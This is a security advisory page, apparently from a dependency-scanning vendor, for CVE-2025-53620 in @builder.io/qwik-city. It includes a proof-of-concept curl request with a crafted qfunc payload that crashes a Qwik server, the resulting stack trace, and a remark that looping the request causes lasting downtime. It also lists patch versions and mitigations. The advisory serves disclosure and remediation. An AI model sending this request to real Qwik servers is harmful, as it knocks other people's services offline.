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GHSA-qr9h-j6xg-2j72 qwik-city

Fix: QwikDev/qwik#7342

GHSA-qr9h-j6xg-2j72 is a CWE-248 vulnerability in @builder.io/qwik-city. A fix is available for @builder.io/qwik-city — see the affected versions and patch details below.

Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests

Also known asCVE-2025-53620
Published
Jul 9, 2025
Updated
Jul 9, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-qr9h-j6xg-2j72.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

9other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@builder.io/qwik-citynpm
41Kdownloads / week

Description

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

PoC

  1. Setup a Qwik Project pnpm create qwik@latest
  2. Start the Qwik Server using pnpm run preview
  3. Execute the following curl command to crash the instance
curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

  1. Setup a Qwik Project pnpm create qwik@latest
  2. Install the express middleware pnpm run qwik add express
  3. Build the qwik app using pnpm run build
  4. Start the server using pnpm run serve
  5. Execute the following curl command to crash the instance
curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.

There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@builder.io/qwik-cityall versions1.13.0npm install @builder.io/qwik-city@1.13.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @builder.io/qwik-city, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @builder.io/qwik-city to 1.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qr9h-j6xg-2j72 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qr9h-j6xg-2j72 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-qr9h-j6xg-2j72. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Possibility to craft a request that will crash the Qwik Server in the default configuration. ### Details When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. ### PoC 1. Setup a Qwik Project `pnpm create qwik@latest` 2. Start the Qwik Server using `pnpm run preview` 3. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \ --header 'Content-Type: appli
O3 Security · Impact-Aware SCA

Is GHSA-qr9h-j6xg-2j72 in your dependencies?

O3 Security finds GHSA-qr9h-j6xg-2j72 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-qr9h-j6xg-2j72: qwik-city | O3 Security